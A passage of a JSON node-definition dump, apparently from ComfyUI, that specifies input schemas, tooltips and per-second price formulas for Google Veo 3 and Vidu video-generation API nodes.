"veo-3.1-lite"]}], "generate_audio": ["BOOLEAN", {"tooltip": "Generate audio for the video.", "default": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "negative_prompt", "resolution", "aspect_ratio", "duration", "seed", "first_frame", "last_frame", "model", "generate_audio"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "Veo3FirstLastFrameNode", "display_name": "Google Veo 3 First-Last-Frame to Video", "description": "Generate video using prompt and first and last frames.", "python_module": "comfy_api_nodes.nodes_veo2", "category": "partner/video/Veo", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMBO"}, {"name": "generate_audio", "type": "BOOLEAN"}, {"name": "duration", "type": "INT"}, {"name": "resolution", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $m := widgets.model;\n $r := widgets.resolution;\n $ga := widgets.generate_audio;\n $seconds := widgets.duration;\n $pps :=\n $contains($m, \"lite\")\n ? ($r = \"1080p\" ? ($ga ? 0.08 : 0.05) : ($ga ? 0.05 : 0.03))\n : $contains($m, \"fast\")\n ? ($r = \"4k\" ? ($ga ? 0.30 : 0.25) : $r = \"1080p\" ? ($ga ? 0.12 : 0.10) : ($ga ? 0.10 : 0.08))\n : ($r = \"4k\" ? ($ga ? 0.60 : 0.40) : ($ga ? 0.40 : 0.20));\n {\"type\":\"usd\",\"usd\": $pps * $seconds}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ViduTextToVideoNode": {"input": {"required": {"model": ["COMBO", {"tooltip": "Model name", "multiselect": false, "options": ["viduq1"]}], "prompt": ["STRING", {"tooltip": "A textual description for video generation", "multiline": true}]}, "optional": {"duration": ["INT", {"tooltip": "Duration of the output video in seconds", "default": 5, "min": 5, "max": 5, "step": 1, "display": "number"}], "seed": ["INT", {"tooltip": "Seed for video generation (0 for random)", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "aspect_ratio": ["COMBO", {"tooltip": "The aspect ratio of the output video", "multiselect": false, "options": ["16:9", "9:16", "1:1"]}], "resolution": ["COMBO", {"tooltip": "Supported values may vary by model & duration", "advanced": true, "multiselect": false, "options": ["1080p"]}], "movement_amplitude": ["COMBO", {"tooltip": "The movement amplitude of objects in the frame", "advanced": true, "multiselect": false, "options": ["auto", "small", "medium", "large"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "prompt"], "optional": ["duration", "seed", "aspect_ratio", "resolution", "movement_amplitude"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "ViduTextToVideoNode", "display_name": "Vidu Text To Video Generation", "description": "Generate video from a text prompt", "python_module": "comfy_api_nodes.nodes_vidu", "category": "partner/video/Vidu", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.4}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ViduImageToVideoNode": {"input": {"required": {"model": ["COMBO", {"tooltip": "Model name", "multiselect": false, "options": ["viduq1"]}], "image": ["IMAGE", {"tooltip": "An image to be used as the start frame of the generated video"}]}, "optional": {"prompt": ["STRING", {"tooltip": "A textual description for video generation", "default": "", "multiline": true}], "duration": ["INT", {"tooltip": "Duration of the output video in seconds", "default": 5, "min": 5, "max": 5, "step": 1, "display": "number"}], "seed": ["INT", {"tooltip": "Seed for video generation (0 for random)", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "resolution": ["COMBO", {"tooltip": "Supported values may vary by model & duration", "advanced": true, "multiselect": false, "options": ["1080p"]}], "movement_amplitude": ["COMBO", {"tooltip": "The movement amplitude of objects in the frame", "advanced": true, "multiselect": false, "options": ["auto", "small", "medium", "large"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "image"], "optional": ["prompt", "duration", "seed", "resolution", "movement_amplitude"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "ViduImageToVideoNode", "display_name": "Vidu Image To Video Generation", "description": "Generate video from image and optional prompt", "python_module": "comfy_api_nodes.nodes_vidu", "category": "partner/video/Vidu", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.4}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ViduReferenceVideoNode": {"input": {"required": {"model": ["COMBO", {"tooltip": "Model name", "multiselect": false, "options": ["viduq1"]}], "images": ["IMAGE", {"tooltip": "Images to use as references to generate a video with consistent subjects (max 7 images)."}], "prompt": ["STRING", {"tooltip": "A textual description for video generation", "multiline": true}]}, "optional": {"duration": ["INT", {"tooltip": "Duration of the output video in seconds", "default": 5, "min": 5, "max": 5, "step": 1, "display": "number"}], "seed": ["INT", {"tooltip": "Seed for video generation (0 for random)", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "aspect_ratio": ["COMBO", {"tooltip": "The aspect ratio of the output video", "multiselect": false, "options": ["16:9", "9:16", "1:1"]}], "resolution": ["COMBO", {"tooltip": "Supported values may vary by model & duration", "advanced": true, "multiselect": false, "options": ["1080p"]}], "movement_amplitude": ["COMBO", {"tooltip": "The movement amplitude of objects in the frame", "advanced": true, "multiselect": false, "options": ["auto", "small", "medium", "large"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "images", "prompt"], "optional": ["duration", "seed", "aspect_ratio", "resolution", "movement_amplitude"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "ViduReferenceVideoNode", "display_name": "Vidu Reference To Video Generation", "description": "Generate video from multiple images and a prompt", "python_module": "comfy_api_nodes.nodes_vidu", "category": "partner/video/Vidu", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.4}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ViduStartEndToVideoNode": {"input": {"required": {"model": ["COMBO", {"tooltip": "Model name", "multiselect": false, "options": ["viduq1"]}], "first_frame": ["IMAGE", {"tooltip": "Start frame"}], "end_frame": ["IMAGE", {"tooltip": "End frame"}]}, "optional": {"prompt": ["STRING", {"tooltip": "A textual description for video generation", "multiline": true}], "duration": ["INT", {"tooltip": "Duration of the output video in seconds", "default": 5, "min": 5, "max": 5, "step": 1, "display": "number"}], "seed": ["INT", {"tooltip": "Seed for video generation (0 for random)", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "resolution": ["COMBO", {"tooltip": "Supported values may vary by model & duration", "advanced": true, "multiselect": false, "options": ["1080p"]}], "movement_amplitude": ["COMBO", {"tooltip": "The movement amplitude of objects in the frame", "advanced": true, "multiselect": false, "options": ["auto", "small", "medium", "large"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "first_frame", "end_frame"], "optional": ["prompt", "duration", "seed", "resolution", "movement_amplitude"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "ViduStartEndToVideoNode", "display_name": "Vidu Start End To Video Generation", "description": "Generate a video from start and end frames and a prompt", "python_module": "comfy_api_nodes.nodes_vidu", "category": "partner/video/Vidu", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.4}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Vidu2TextToVideoNode": {"input": {"required": {"model": ["COMBO", {"multiselect": false, "options": ["viduq2"]}], "prompt": ["STRING", {"tooltip": "A textual description for video generation, with a maximum length of 2000 characters.", "multiline": true}], "duration": ["INT", {"default": 5, "min": 1, "max": 10, "step": 1, "display": "slider"}], "seed": ["INT", {"default": 1, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "aspect_ratio": ["COMBO", {"multiselect": false, "options": ["16:9", "9:16", "3:4", "4:3", "1:1"]}], "resolution": ["COMBO", {"advanced": true, "multiselect": false, "options": ["720p", "1080p"]}], "background_music": ["BOOLEAN", {"tooltip": "Whether to add background music to the generated video.", "advanced": true, "default": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "prompt", "duration", "seed", "aspect_ratio", "resolution", "background_music"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "Vidu2TextToVideoNode", "display_name": "Vidu2 Text-to-Video Generation", "description": "Generate video from a text prompt", "python_module": "comfy_api_nodes.nodes_vidu", "category": "partner/video/Vidu", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "duration", "type": "INT"}, {"name": "resolution", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $is1080 := widgets.resolution = \"1080p\";\n $base := $is1080 ? 0.1 : 0.075;\n $perSec := $is1080 ? 0.05 : 0.025;\n {\"type\":\"usd\",\"usd\": $base + $perSec * (widgets.duration - 1)}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Vidu2ImageToVideoNode": {"input": {"required": {"model": ["COMBO", {"multiselect": false, "options": ["viduq2-pro-fast", "viduq2-pro", "viduq2-turbo"]}], "image": ["IMAGE", {"tooltip": "An image to be used as the start frame of the generated video."}], "prompt": ["STRING", {"tooltip": "An optional text prompt for video generation (max 2000 characters).", "default": "", "multiline": true}], "duration": ["INT", {"default": 5, "min": 1, "max": 10, "step": 1, "display": "slider"}], "seed": ["INT", {"default": 1, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "resolution": ["COMBO", {"advanced": true, "multiselect": false, "options": ["720p", "1080p"]}], "movement_amplitude": ["COMBO", {"tooltip": "The movement amplitude of objects in the frame.", "advanced": true, "multiselect": false, "options": ["auto", "small", "medium", "large"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "image", "prompt", "duration", "seed", "resolution", "movement_amplitude"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "Vidu2ImageToVideoNode", "display_name": "Vidu2 Image-to-Video Generation", "description": "Generate a video from an image and an optional prompt.", "python_module": "comfy_api_nodes.nodes_vidu", "category": "partner/video/Vidu", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMBO"}, {"name": "duration", "type": "INT"}, {"name": "resolution", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $m := widgets.model;\n $d := widgets.duration;\n $is1080 := widgets.resolution = \"1080p\";\n $contains($m, \"pro-fast\")\n ? (\n $base := $is1080 ? 0.08 : 0.04;\n $perSec := $is1080 ? 0.02 : 0.01;\n {\"type\":\"usd\",\"usd\": $base + $perSec * ($d - 1)}\n )\n : $contains($m, \"pro\")\n ? (\n $base := $is1080 ? 0.275 : 0.075;\n $perSec := $is1080 ? 0.075 : 0.05;\n {\"type\":\"usd\",\"usd\": $base + $perSec * ($d - 1)}\n )\n : $contains($m, \"turbo\")\n ? (\n $is1080\n ? {\"type\":\"usd\",\"usd\": 0.175 + 0.05 * ($d - 1)}\n : (\n $d <= 1 ? {\"type\":\"usd\",\"usd\": 0.04}\n : $d <= 2 ? {\"type\":\"usd\",\"usd\": 0.05}\n : {\"type\":\"usd\",\"usd\": 0.05 + 0.05 * ($d - 2)}\n )\n )\n : {\"type\":\"usd\",\"usd\": 0.04}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Vidu2ReferenceVideoNode": {"input": {"required": {"model": ["COMBO", {"multiselect": false, "options": ["viduq2"]}], "subjects": ["COMFY_AUTOGROW_V3", {"tooltip": "For each subject, provide up to 3 reference images (7 images total across all subjects). Reference them in prompts via @subject{subject_id}.", "template": {"input": {"required": {"reference_images": ["IMAGE", {}]}}, "names": ["subject1", "subject2", "subject3", "subject4", "subject5", "subject6", "subject7"], "min": 1}}], "prompt": ["STRING", {"tooltip": "When enabled, the video will include generated speech and background music based on the prompt.", "multiline": true}], "audio": ["BOOLEAN", {"tooltip": "When enabled video will contain generated speech and background music based on the prompt.", "advanced": true, "default": false}], "duration": ["INT", {"default": 5, "min": 1, "max": 10, "step": 1, "display": "slider"}], "seed": ["INT", {"default": 1, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "aspect_ratio": ["COMBO", {"multiselect": false, "options": ["16:9", "9:16", "4:3", "3:4", "1:1"]}], "resolution": ["COMBO", {"advanced": true, "multiselect": false, "options": ["720p", "1080p"]}], "movement_amplitude": ["COMBO", {"tooltip": "The movement amplitude of objects in the frame.", "advanced": true, "multiselect": false, "options": ["auto", "small", "medium", "large"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "subjects", "prompt", "audio", "duration", "seed", "aspect_ratio", "resolution", "movement_amplitude"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "Vidu2ReferenceVideoNode", "display_name": "Vidu2 Reference-to-Video Generation", "description": "Generate a video from multiple reference images and a prompt.", "python_module": "comfy_api_nodes.nodes_vidu", "category": "partner/video/Vidu", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "audio", "type": "BOOLEAN"}, {"name": "duration", "type": "INT"}, {"name": "resolution", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $is1080 := widgets.resolution = \"1080p\";\n $base := $is1080 ? 0.375 : 0.125;\n $perSec := $is1080 ? 0.05 : 0.025;\n $audioCost := widgets.audio = true ? 0.075 : 0;\n {\"type\":\"usd\",\"usd\": $base + $perSec * (widgets.duration - 1) + $audioCost}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Vidu2StartEndToVideoNode": {"input": {"required": {"model": ["COMBO", {"multiselect": false, "options": ["viduq2-pro-fast", "viduq2-pro", "viduq2-turbo"]}], "first_frame": ["IMAGE", {}], "end_frame": ["IMAGE", {}], "prompt": ["STRING", {"tooltip": "Prompt description (max 2000 characters).", "multiline": true}], "duration": ["INT", {"default": 5, "min": 2, "max": 8, "step": 1, "display": "slider"}], "seed": ["INT", {"default": 1, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "resolution": ["COMBO", {"advanced": true, "multiselect": false, "options": ["720p", "1080p"]}], "movement_amplitude": ["COMBO", {"tooltip": "The movement amplitude of objects in the frame.", "advanced": true, "multiselect": false, "options": ["auto", "small", "medium", "large"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "first_frame", "end_frame", "prompt", "duration", "seed", "resolution", "movement_amplitude"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "Vidu2StartEndToVideoNode", "display_name": "Vidu2 Start/End Frame-to-Video Generation", "description": "Generate a video from a start frame, an end frame, and a prompt.", "python_module": "comfy_api_nodes.nodes_vidu", "category": "partner/video/Vidu", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMBO"}, {"name": "duration", "type": "INT"}, {"name": "resolution", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $m := widgets.model;\n $d := widgets.duration;\n $is1080 := widgets.resolution = \"1080p\";\n $contains($m, \"pro-fast\")\n ? (\n $base := $is1080 ? 0.08 : 0.04;\n $perSec := $is1080 ? 0.02 : 0.01;\n {\"type\":\"usd\",\"usd\": $base + $perSec * ($d - 1)}\n )\n : $contains($m, \"pro\")\n ? (\n $base := $is1080 ? 0.275 : 0.075;\n $perSec := $is1080 ? 0.075 : 0.05;\n {\"type\":\"usd\",\"usd\": $base + $perSec * ($d - 1)}\n )\n : $contains($m, \"turbo\")\n ? (\n $is1080\n ? {\"type\":\"usd\",\"usd\": 0.175 + 0.05 * ($d - 1)}\n : (\n $d <= 2 ? {\"type\":\"usd\",\"usd\": 0.05}\n : {\"type\":\"usd\",\"usd\": 0.05 + 0.05 * ($d - 2)}\n )\n )\n : {\"type\":\"usd\",\"usd\": 0.04}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ViduExtendVideoNode": {"input": {"required": {"model": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Model to use for video extension.", "options": [{"key": "viduq2-pro", "inputs": {"required": {"duration": ["INT", {"tooltip": "Duration of the extended video in seconds.", "default": 4, "min": 1, "max": 7, "step": 1, "display": "slider"}], "resolution": ["COMBO", {"tooltip": "Resolution of the output video.", "multiselect": false, "options": ["720p", "1080p"]}]}}}, {"key": "viduq2-turbo", "inputs": {"required": {"duration": ["INT", {"tooltip": "Duration of the extended video in seconds.", "default": 4, "min": 1, "max": 7, "step": 1, "display": "slider"}], "resolution": ["COMBO", {"tooltip": "Resolution of the output video.", "multiselect": false, "options": ["720p", "1080p"]}]}}}]}], "video": ["VIDEO", {"tooltip": "The source video to extend."}], "prompt": ["STRING", {"tooltip": "An optional text prompt for the extended video (max 2000 characters).", "default": "", "multiline": true}], "seed": ["INT", {"default": 1, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}]}, "optional": {"end_frame": ["IMAGE", {}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "video", "prompt", "seed"], "optional": ["end_frame"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "ViduExtendVideoNode", "display_name": "Vidu Video Extension", "description": "Extend an existing video by generating additional frames.", "python_module": "comfy_api_nodes.nodes_vidu", "category": "partner/video/Vidu", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "model.duration", "type": "INT"}, {"name": "model.resolution", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $m := widgets.model;\n $d := $lookup(widgets, \"model.duration\");\n $res := $lookup(widgets, \"model.resolution\");\n $contains($m, \"pro\")\n ? (\n $base := $lookup({\"720p\": 0.15, \"1080p\": 0.3}, $res);\n $perSec := $lookup({\"720p\": 0.05, \"1080p\": 0.075}, $res);\n {\"type\":\"usd\",\"usd\": $base + $perSec * ($d - 1)}\n )\n : (\n $base := $lookup({\"720p\": 0.075, \"1080p\": 0.2}, $res);\n $perSec := $lookup({\"720p\": 0.025, \"1080p\": 0.05}, $res);\n {\"type\":\"usd\",\"usd\": $base + $perSec * ($d - 1)}\n )\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ViduMultiFrameVideoNode": {"input": {"required": {"model": ["COMBO", {"multiselect": false, "options": ["viduq2-pro", "viduq2-turbo"]}], "start_image": ["IMAGE", {"tooltip": "The starting frame image. Aspect ratio must be between 1:4 and 4:1."}], "seed": ["INT", {"default": 1, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "resolution": ["COMBO", {"multiselect": false, "options": ["720p", "1080p"]}], "frames": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Number of keyframe transitions (2-9).", "options": [{"key": "2", "inputs": {"required": {"prompt1": ["STRING", {"tooltip": "Text prompt for frame 1 transition.", "default": "", "multiline": true}], "end_image1": ["IMAGE", {"tooltip": "End frame image for segment 1. Aspect ratio must be between 1:4 and 4:1."}], "duration1": ["INT", {"tooltip": "Duration for segment 1 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt2": ["STRING", {"tooltip": "Text prompt for frame 2 transition.", "default": "", "multiline": true}], "end_image2": ["IMAGE", {"tooltip": "End frame image for segment 2. Aspect ratio must be between 1:4 and 4:1."}], "duration2": ["INT", {"tooltip": "Duration for segment 2 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}]}}}, {"key": "3", "inputs": {"required": {"prompt1": ["STRING", {"tooltip": "Text prompt for frame 1 transition.", "default": "", "multiline": true}], "end_image1": ["IMAGE", {"tooltip": "End frame image for segment 1. Aspect ratio must be between 1:4 and 4:1."}], "duration1": ["INT", {"tooltip": "Duration for segment 1 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt2": ["STRING", {"tooltip": "Text prompt for frame 2 transition.", "default": "", "multiline": true}], "end_image2": ["IMAGE", {"tooltip": "End frame image for segment 2. Aspect ratio must be between 1:4 and 4:1."}], "duration2": ["INT", {"tooltip": "Duration for segment 2 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt3": ["STRING", {"tooltip": "Text prompt for frame 3 transition.", "default": "", "multiline": true}], "end_image3": ["IMAGE", {"tooltip": "End frame image for segment 3. Aspect ratio must be between 1:4 and 4:1."}], "duration3": ["INT", {"tooltip": "Duration for segment 3 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}]}}}, {"key": "4", "inputs": {"required": {"prompt1": ["STRING", {"tooltip": "Text prompt for frame 1 transition.", "default": "", "multiline": true}], "end_image1": ["IMAGE", {"tooltip": "End frame image for segment 1. Aspect ratio must be between 1:4 and 4:1."}], "duration1": ["INT", {"tooltip": "Duration for segment 1 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt2": ["STRING", {"tooltip": "Text prompt for frame 2 transition.", "default": "", "multiline": true}], "end_image2": ["IMAGE", {"tooltip": "End frame image for segment 2. Aspect ratio must be between 1:4 and 4:1."}], "duration2": ["INT", {"tooltip": "Duration for segment 2 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt3": ["STRING", {"tooltip": "Text prompt for frame 3 transition.", "default": "", "multiline": true}], "end_image3": ["IMAGE", {"tooltip": "End frame image for segment 3. Aspect ratio must be between 1:4 and 4:1."}], "duration3": ["INT", {"tooltip": "Duration for segment 3 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt4": ["STRING", {"tooltip": "Text prompt for frame 4 transition.", "default": "", "multiline": true}], "end_image4": ["IMAGE", {"tooltip": "End frame image for segment 4. Aspect ratio must be between 1:4 and 4:1."}], "duration4": ["INT", {"tooltip": "Duration for segment 4 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}]}}}, {"key": "5", "inputs": {"required": {"prompt1": ["STRING", {"tooltip": "Text prompt for frame 1 transition.", "default": "", "multiline": true}], "end_image1": ["IMAGE", {"tooltip": "End frame image for segment 1. Aspect ratio must be between 1:4 and 4:1."}], "duration1": ["INT", {"tooltip": "Duration for segment 1 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt2": ["STRING", {"tooltip": "Text prompt for frame 2 transition.", "default": "", "multiline": true}], "end_image2": ["IMAGE", {"tooltip": "End frame image for segment 2. Aspect ratio must be between 1:4 and 4:1."}], "duration2": ["INT", {"tooltip": "Duration for segment 2 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt3": ["STRING", {"tooltip": "Text prompt for frame 3 transition.", "default": "", "multiline": true}], "end_image3": ["IMAGE", {"tooltip": "End frame image for segment 3. Aspect ratio must be between 1:4 and 4:1."}], "duration3": ["INT", {"tooltip": "Duration for segment 3 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt4": ["STRING", {"tooltip": "Text prompt for frame 4 transition.", "default": "", "multiline": true}], "end_image4": ["IMAGE", {"tooltip": "End frame image for segment 4. Aspect ratio must be between 1:4 and 4:1."}], "duration4": ["INT", {"tooltip": "Duration for segment 4 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt5": ["STRING", {"tooltip": "Text prompt for frame 5 transition.", "default": "", "multiline": true}], "end_image5": ["IMAGE", {"tooltip": "End frame image for segment 5. Aspect ratio must be between 1:4 and 4:1."}], "duration5": ["INT", {"tooltip": "Duration for segment 5 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}]}}}, {"key": "6", "inputs": {"required": {"prompt1": ["STRING", {"tooltip": "Text prompt for frame 1 transition.", "default": "", "multiline": true}], "end_image1": ["IMAGE", {"tooltip": "End frame image for segment 1. Aspect ratio must be between 1:4 and 4:1."}], "duration1": ["INT", {"tooltip": "Duration for segment 1 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt2": ["STRING", {"tooltip": "Text prompt for frame 2 transition.", "default": "", "multiline": true}], "end_image2": ["IMAGE", {"tooltip": "End frame image for segment 2. Aspect ratio must be between 1:4 and 4:1."}], "duration2": ["INT", {"tooltip": "Duration for segment 2 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt3": ["STRING", {"tooltip": "Text prompt for frame 3 transition.", "default": "", "multiline": true}], "end_image3": ["IMAGE", {"tooltip": "End frame image for segment 3. Aspect ratio must be between 1:4 and 4:1."}], "duration3": ["INT", {"tooltip": "Duration for segment 3 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt4": ["STRING", {"tooltip": "Text prompt for frame 4 transition.", "default": "", "multiline": true}], "end_image4": ["IMAGE", {"tooltip": "End frame image for segment 4. Aspect ratio must be between 1:4 and 4:1."}], "duration4": ["INT", {"tooltip": "Duration for segment 4 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt5": ["STRING", {"tooltip": "Text prompt for frame 5 transition.", "default": "", "multiline": true}], "end_image5": ["IMAGE", {"tooltip": "End frame image for segment 5. Aspect ratio must be between 1:4 and 